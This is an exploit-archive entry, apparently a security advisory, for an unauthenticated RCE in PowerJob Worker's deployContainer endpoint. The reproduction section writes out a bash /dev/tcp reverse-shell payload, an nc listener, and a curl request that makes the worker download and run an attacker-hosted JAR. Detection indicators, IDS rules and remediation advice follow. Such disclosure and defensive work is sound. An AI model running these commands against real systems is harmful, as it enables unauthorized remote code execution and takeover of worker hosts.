PowerJob Worker Unauthenticated RCE via /worker/deployContainer (CVE-2026-75430)
Published: 2026-11-25 • Researcher: unpredictable21 (public PoC repository); Yujie He (original discoverer); PowerJob project (SECURITY.md disclosure channel)
- Severity
- Critical
- CVE
- CVE-2026-75430
- Category
- web
- Affected product
- PowerJob Worker (powerjob-worker / powerjob-worker-samples), worker HTTP transport layer
- Affected versions
- 5.1.2 and likely earlier versions (per the CVE record and the discoverer). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release. Confirmed by the discoverer on PowerJob 5.1.2 under JDK 8 and JDK 21.
- Disclosed
- 2026-11-25
- Patch status
- Unpatched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-75430
- https://github.com/unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE
- https://gist.github.com/unpredictable21/fcb62d394db30525412c4b5b1efd0233
- https://github.com/PowerJob/PowerJob
- https://github.com/PowerJob/PowerJob/blob/master/SECURITY.md
- https://github.com/PowerJob/PowerJob/blob/master/powerjob-worker/src/main/java/tech/powerjob/worker/actors/WorkerActor.java
- https://github.com/PowerJob/PowerJob/blob/master/powerjob-worker/src/main/java/tech/powerjob/worker/container/OmsContainerFactory.java
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-08-10 |
| Author / Researcher | unpredictable21 (public PoC repository); Yujie He (original discoverer); PowerJob project (SECURITY.md disclosure channel) |
| CVE / Advisory | CVE-2026-75430 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | RCE, unauthenticated, PowerJob, Java, Spring, malicious-JAR, CWE-306, reverse-shell, worker-node, URLClassLoader |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | PowerJob Worker (powerjob-worker / powerjob-worker-samples), worker HTTP transport layer |
| Versions Affected | 5.1.2 and likely earlier versions (per the CVE record and the discoverer). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release. Confirmed by the discoverer on PowerJob 5.1.2 under JDK 8 and JDK 21. |
| Language / Platform | Java (JDK 8 and JDK 21 verified); Spring; Linux / Docker deployment; worker HTTP transport port 27777 |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
PowerJob Worker 5.1.2 exposes the deployContainer handler on its HTTP transport port 27777 without any authentication. A remote attacker who can reach that port submits a JSON request containing an arbitrary download URL, and the worker downloads the referenced JAR and loads it through a Spring application context, executing attacker code inside the worker process. The public PoC builds a malicious JAR, hosts it over HTTP, and triggers the endpoint, yielding remote code execution on the worker node with the privileges of the worker runtime. The default PowerJob docker-compose deployment publishes port 27777 on the host, so the endpoint is commonly reachable from outside the container network.
Vulnerability Details
Root Cause
The worker-to-server transport layer has no token, signature, or mutual authentication, and the worker actor that handles deployContainer does not check who is calling it. The handler accepts a ServerDeployContainerRequest containing an attacker-controlled download URL; OmsContainerFactory.deployContainer then calls FileUtils.copyURLToFile on that URL to write a JAR into the worker’s container directory and immediately initializes it. OmsJarContainer.init() loads the class through OhMyClassLoader (a URLClassLoader wrapper) and refreshes a Spring ClassPathXmlApplicationContext built from the JAR’s oms-worker-container-spring-context.xml. Because loadClass alone does not run static initializers, the actual execution point is the Spring init-method declared for the bean in that XML, which Spring invokes during refresh(). NVD classifies the flaw as CWE-306 (Missing Authentication for Critical Function); the upstream write-up additionally maps it to CWE-94 and CWE-502.
Attack Vector
A single unauthenticated HTTP POST to /worker/deployContainer on the worker transport port 27777. The JSON body supplies containerId, containerName, version, and downloadURL pointing at an attacker-hosted JAR; the worker itself performs the outbound fetch and then loads and initializes the JAR. The worker must be running and listening on 27777, which requires its application to be registered on the PowerJob server (the worker exits at startup otherwise); in any deployment actually scheduling jobs that precondition is already satisfied. The upstream lab skips the registration check with the powerjob.worker.allow-lazy-connect-server flag.
Impact
Arbitrary code execution with the privileges of the PowerJob worker process on the worker host. That yields full control of the worker node, access to job parameters, code and results handled by that worker, and a pivot toward business systems that consume worker output. Because the deployContainer handler returns void, the HTTP response carries no command output, so the practical exploitation technique is a reverse shell (or a file-marker check on the worker host). Upstream verified the reverse shell end to end; a screenshot is in the source repository.
Environment / Lab Setup
OS: Linux x86_64 (Docker or bare metal); upstream lab used Ubuntu-class host
Target: PowerJob Worker 5.1.2 (powerjob-worker-samples), HTTP transport on 27777
Attacker: Python 3 with the requests module; JDK 8+ (javac, jar); nc listener
Tools: python3, javac, jar, nc, python3 -m http.server, curl
Network: Attacker must be able to reach worker:27777; worker must be able to
reach the attacker's HTTP server to fetch the malicious JARSetup Steps
| |
The discoverer confirmed the vulnerability on PowerJob 5.1.2 with both JDK 8 and JDK 21. The lazy-connect flag only changes whether the worker comes online; it does not add authentication to port 27777.
Proof of Concept
Step-by-Step Reproduction
Start a listener — the handler has no output echo, so a reverse shell is the primary way to observe execution.
Shell script1nc -lvnp 7878Build the malicious JAR — the archive script does this automatically with
--build-and-serve: it compiles com/evil/Exploit.class (run() executes/bin/bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"), addsoms-worker-container.propertieswith PACKAGE_NAME=com.evil, and addsoms-worker-container-spring-context.xmldeclaring<bean id="evil" class="com.evil.Exploit" init-method="run"/>.Host the JAR — serve the build directory over HTTP so the worker can fetch it:
Shell script1python3 -m http.server 8000Trigger the endpoint — one unauthenticated POST, no credentials and no session:
Shell script1 2 3curl -s http://192.168.49.128:27777/worker/deployContainer \ -H 'Content-Type: application/json' \ -d '{"containerId":3,"containerName":"evil","version":"3","downloadURL":"http://192.168.3.17:8000/evil.jar"}'Observe execution — the worker downloads the JAR, OmsJarContainer.init() refreshes the Spring context, the bean init-method runs, and the reverse shell connects back to the listener. Because the handler returns void the HTTP body is empty; that is expected, not a failure.
One-shot variant — the script can build, serve and trigger in one command, using a unique containerId/version so repeated runs are not skipped by the “version already deployed” guard:
Shell script1 2 3python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 \ http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 \ --reverse-shell 192.168.3.17:7878A non-interactive marker variant is also available (no
--reverse-shell): the payload writes /tmp/pj09_pwned, /tmp/pj09_id and /tmp/pj09_whoami on the worker host for local verification.
Exploit Code
See
powerjob_worker_deploycontainer_rce.pyin this folder (upstream filename preserved). The upstream walkthrough and JAR layout are inupstream-README.md.
| |
The JAR must contain three entries: com/evil/Exploit.class with a public init-method (e.g. run()), oms-worker-container.properties with PACKAGE_NAME=com.evil, and oms-worker-container-spring-context.xml with <bean id="evil" class="com.evil.Exploit" init-method="run"/>. Static initializers do not run because OhMyClassLoader only calls loadClass; the Spring init-method is what executes.
Expected Output
| |
The exact user and prompt depend on how the worker is launched (bare metal user or the user inside the worker container). The 200 response with an empty body is the documented normal behavior.
Detection & Indicators of Compromise
- HTTP POST requests to
/worker/deployContaineron port 27777, especially from hosts that are not the PowerJob server, with a JSON body containingdownloadURL,containerId,containerNameandversion. - Worker-side outbound HTTP GETs for
.jarfiles to external or unexpected hosts, and outbound connections from the worker host to unusual ports shortly after a deployContainer request (reverse shell callback). - Worker log entries around OmsContainerFactory, OhMyClassLoader, OmsJarContainer or ClassPathXmlApplicationContext refresh, including bean instantiation or context startup errors for unknown container names.
- New or unexpected JAR files and container directories written by the worker process under its container/temp directories.
- Marker artifacts from the public PoC:
/tmp/pj09_pwned,/tmp/pj09_id,/tmp/pj09_whoamion the worker host. - Unexpected
containerId/versionvalues in worker or server records that do not correspond to a scheduled job deployment (the public script derives both from the current epoch time), and container names such as “evil”. - Shell processes spawned by the worker Java process (
/bin/bash -c ... /dev/tcp/...), or the worker process making DNS/HTTP egress it normally would not.
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-75430 PowerJob worker deployContainer unauthenticated JAR load"; \
content:"/worker/deployContainer"; http_uri; \
content:"downloadURL"; http_client_body; sid:9002613;)
alert http any any -> any any (msg:"CVE-2026-75430 PowerJob worker fetching remote JAR"; \
content:".jar"; http_uri; \
flow:to_server; sid:9002614;)Remediation
| Action | Detail |
|---|---|
| Patch | No fixed release is identified in the supplied CVE data; PowerJob 5.1.2 (and likely earlier) is affected. Track the PowerJob SECURITY.md channel and vendor advisories, and upgrade as soon as a fixed version is published, then restart every worker. |
| Workaround | Do not expose port 27777 to untrusted networks: remove the host port publish from docker-compose, firewall the transport port to the PowerJob server only, or place an authenticating proxy in front of it. Block worker egress to arbitrary internet hosts if the deployment does not need it. |
| Config Hardening | Add mutual authentication (token/signature) to the worker-server transport and have deployContainer accept only trusted-server calls; restrict downloadURL to an allowlist of internal artifact hosts and verify JAR hash or signature before loading; run the worker as a non-root user under a container with a read-only base and a dedicated writable container directory; segment the worker network and monitor deployContainer use. |
References
- CVE-2026-75430 — NVD
- Source PoC — unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE
- Discoverer write-up and CVE summary gist (unpredictable21 / Yujie He)
- PowerJob — official repository
- PowerJob SECURITY.md — disclosure channel
- PowerJob WorkerActor.java — worker actor registration
- PowerJob OmsContainerFactory.java — JAR download and init
Notes
Auto-ingested from https://github.com/unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE on 2026-11-25.
Review verdict: this is a real exploit PoC, not a detector, scanner or audit tool. The single Python file builds the malicious Spring JAR, hosts it, and sends the unauthenticated deployContainer request, with an optional reverse shell; the upstream README documents a verified end-to-end RCE on PowerJob 5.1.2 (screenshot and local reproduction). It was therefore ingested with Status Weaponized.
Licence status: the repository has no LICENSE file (only README.md and the script), so there is no explicit licence grant. The two files are archived unmodified apart from a two-line authorized-research header on the script, with attribution to the upstream owner for research use only. Upstream PowerJob code referenced in the links remains under its own licence.
Limitations, stated honestly: the worker must already be running and listening on 27777, which requires its application to be registered on the PowerJob server; a strictly fresh docker-compose with no console setup is not exploitable until the worker comes online (the upstream lab uses the lazy-connect flag). The handler returns void, so there is no command output echo and a reverse shell or host-side marker file is required to confirm execution. The exploit needs javac/jar on the attacker side and worker egress to the attacker HTTP server. The archive copy was not executed during ingestion; use only against systems you own or are explicitly authorized to test.
| |